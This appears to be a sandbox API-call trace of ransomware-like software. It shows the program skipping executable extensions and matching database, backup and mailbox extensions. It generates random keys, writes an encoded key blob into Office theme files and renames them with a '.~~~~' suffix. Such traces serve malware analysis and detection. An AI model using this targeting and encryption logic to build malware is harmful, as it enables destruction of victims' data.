	[0083.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".pif") returned 0x0
	[0083.962] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.963] lstrlenW (lpString=".sqb") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".sqb") returned 0x0
	[0083.963] lstrlenW (lpString=".ost") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".ost") returned 0x0
	[0083.963] lstrlenW (lpString=".txt") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".txt") returned 0x0
	[0083.963] lstrlenW (lpString=".mdt") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".mdt") returned 0x0
	[0083.963] lstrlenW (lpString=".BDB") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".BDB") returned 0x0
	[0083.963] lstrlenW (lpString=".eql") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".eql") returned 0x0
	[0083.963] lstrlenW (lpString=".DBF") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DBF") returned 0x0
	[0083.963] lstrlenW (lpString=".EQL") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".EQL") returned 0x0
	[0083.963] lstrlenW (lpString=".FDB") returned 4
	[0083.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".FDB") returned 0x0
	[0083.964] lstrlenW (lpString=".EDB") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".EDB") returned 0x0
	[0083.964] lstrlenW (lpString=".DACPAC") returned 7
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DACPAC") returned 0x0
	[0083.964] lstrlenW (lpString=".VHD") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".VHD") returned 0x0
	[0083.964] lstrlenW (lpString=".DBV") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DBV") returned 0x0
	[0083.964] lstrlenW (lpString=".dacpac") returned 7
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dacpac") returned 0x0
	[0083.964] lstrlenW (lpString=".sdf") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".sdf") returned 0x0
	[0083.964] lstrlenW (lpString=".accdb") returned 6
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".accdb") returned 0x0
	[0083.964] lstrlenW (lpString=".DBX") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DBX") returned 0x0
	[0083.964] lstrlenW (lpString=".MDT") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".MDT") returned 0x0
	[0083.964] lstrlenW (lpString=".SQB") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".SQB") returned 0x0
	[0083.964] lstrlenW (lpString=".vhd") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".vhd") returned 0x0
	[0083.964] lstrlenW (lpString=".bac") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".bac") returned 0x0
	[0083.964] lstrlenW (lpString=".mdf") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".mdf") returned 0x0
	[0083.964] lstrlenW (lpString=".BAK") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".BAK") returned 0x0
	[0083.964] lstrlenW (lpString=".BAC") returned 4
	[0083.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".BAC") returned 0x0
	[0083.964] lstrlenW (lpString=".dbs") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dbs") returned 0x0
	[0083.965] lstrlenW (lpString=".vhdx") returned 5
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".vhdx") returned 0x0
	[0083.965] lstrlenW (lpString=".NDF") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".NDF") returned 0x0
	[0083.965] lstrlenW (lpString=".dat") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dat") returned 0x0
	[0083.965] lstrlenW (lpString=".DBS") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DBS") returned 0x0
	[0083.965] lstrlenW (lpString=".CKP") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".CKP") returned 0x0
	[0083.965] lstrlenW (lpString=".edb") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".edb") returned 0x0
	[0083.965] lstrlenW (lpString=".PST") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".PST") returned 0x0
	[0083.965] lstrlenW (lpString=".dbf") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dbf") returned 0x0
	[0083.965] lstrlenW (lpString=".SQL") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".SQL") returned 0x0
	[0083.965] lstrlenW (lpString=".pst") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".pst") returned 0x0
	[0083.965] lstrlenW (lpString=".dbv") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dbv") returned 0x0
	[0083.965] lstrlenW (lpString=".SDF") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".SDF") returned 0x0
	[0083.965] lstrlenW (lpString=".dtxs") returned 5
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dtxs") returned 0x0
	[0083.965] lstrlenW (lpString=".db3") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".db3") returned 0x0
	[0083.965] lstrlenW (lpString=".OST") returned 4
	[0083.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".OST") returned 0x0
	[0083.966] lstrlenW (lpString=".dbx") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dbx") returned 0x0
	[0083.966] lstrlenW (lpString=".DB3") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DB3") returned 0x0
	[0083.966] lstrlenW (lpString=".DAT") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DAT") returned 0x0
	[0083.966] lstrlenW (lpString=".VHDX") returned 5
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".VHDX") returned 0x0
	[0083.966] lstrlenW (lpString=".ndf") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".ndf") returned 0x0
	[0083.966] lstrlenW (lpString=".DB") returned 3
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DB") returned 0x0
	[0083.966] lstrlenW (lpString=".sql") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".sql") returned 0x0
	[0083.966] lstrlenW (lpString=".MYD") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".MYD") returned 0x0
	[0083.966] lstrlenW (lpString=".DBT") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DBT") returned 0x0
	[0083.966] lstrlenW (lpString=".ACCDB") returned 6
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".ACCDB") returned 0x0
	[0083.966] lstrlenW (lpString=".fdb") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".fdb") returned 0x0
	[0083.966] lstrlenW (lpString=".bak") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".bak") returned 0x0
	[0083.966] lstrlenW (lpString=".myd") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".myd") returned 0x0
	[0083.966] lstrlenW (lpString=".DTXS") returned 5
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".DTXS") returned 0x0
	[0083.966] lstrlenW (lpString=".ckp") returned 4
	[0083.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".ckp") returned 0x0
	[0083.967] lstrlenW (lpString=".dbt") returned 4
	[0083.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dbt") returned 0x0
	[0083.967] lstrlenW (lpString=".db") returned 3
	[0083.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".db") returned 0x0
	[0083.967] lstrlenW (lpString=".TXT") returned 4
	[0083.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".TXT") returned 0x0
	[0083.967] lstrlenW (lpString=".MDF") returned 4
	[0083.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".MDF") returned 0x0
	[0083.967] lstrlenW (lpString=".bdb") returned 4
	[0083.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".bdb") returned 0x0
	[0083.967] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.967] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.968] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.968] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.968] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20395838523) returned 1
	[0083.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9be2e3d0, dwHighDateTime=0x1d60e1e)) 
	[0083.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a23a0
	[0083.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23a0 | out: hHeap=0x300000) returned 1
	[0083.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab2d0
	[0083.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0083.969] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.969] GetLastError () returned 0x0
	[0083.969] GetLastError () returned 0x0
	[0083.969] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.969] GetLastError () returned 0x0
	[0083.969] GetLastError () returned 0x0
	[0083.970] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffe1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.971] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x1e6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x1e6, lpOverlapped=0x0) returned 1
	[0083.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.971] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.971] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.971] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.971] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.971] CloseHandle (hObject=0x118) returned 1
	[0083.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.~~~~")) returned 1
	[0083.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0083.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.972] GetLastError () returned 0x0
	[0083.973] RtlWakeConditionVariable () returned 0x365f70
	[0083.973] GetCurrentThreadId () returned 0x9cc
	[0083.973] GetCurrentThreadId () returned 0x9cc
	[0083.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5520 | out: hHeap=0x300000) returned 1
	[0083.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23d8 | out: hHeap=0x300000) returned 1
	[0083.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5520
	[0083.973] lstrlenW (lpString=".scr") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.973] lstrlenW (lpString=".cmd") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.973] lstrlenW (lpString=".dll") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.973] lstrlenW (lpString=".bat") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.973] lstrlenW (lpString=".cpl") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.973] lstrlenW (lpString=".sys") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.973] lstrlenW (lpString=".msc") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.973] lstrlenW (lpString=".com") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.973] lstrlenW (lpString=".lnk") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.973] lstrlenW (lpString=".msp") returned 4
	[0083.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.973] lstrlenW (lpString=".pif") returned 4
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.974] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.974] lstrlenW (lpString=".sqb") returned 4
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.974] lstrlenW (lpString=".ost") returned 4
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.974] lstrlenW (lpString=".txt") returned 4
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.974] lstrlenW (lpString=".mdt") returned 4
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.974] lstrlenW (lpString=".BDB") returned 4
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.974] lstrlenW (lpString=".eql") returned 4
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.974] lstrlenW (lpString=".DBF") returned 4
	[0083.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.975] lstrlenW (lpString=".EQL") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.975] lstrlenW (lpString=".FDB") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.975] lstrlenW (lpString=".EDB") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.975] lstrlenW (lpString=".DACPAC") returned 7
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.975] lstrlenW (lpString=".VHD") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.975] lstrlenW (lpString=".DBV") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.975] lstrlenW (lpString=".dacpac") returned 7
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.975] lstrlenW (lpString=".sdf") returned 4
	[0083.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
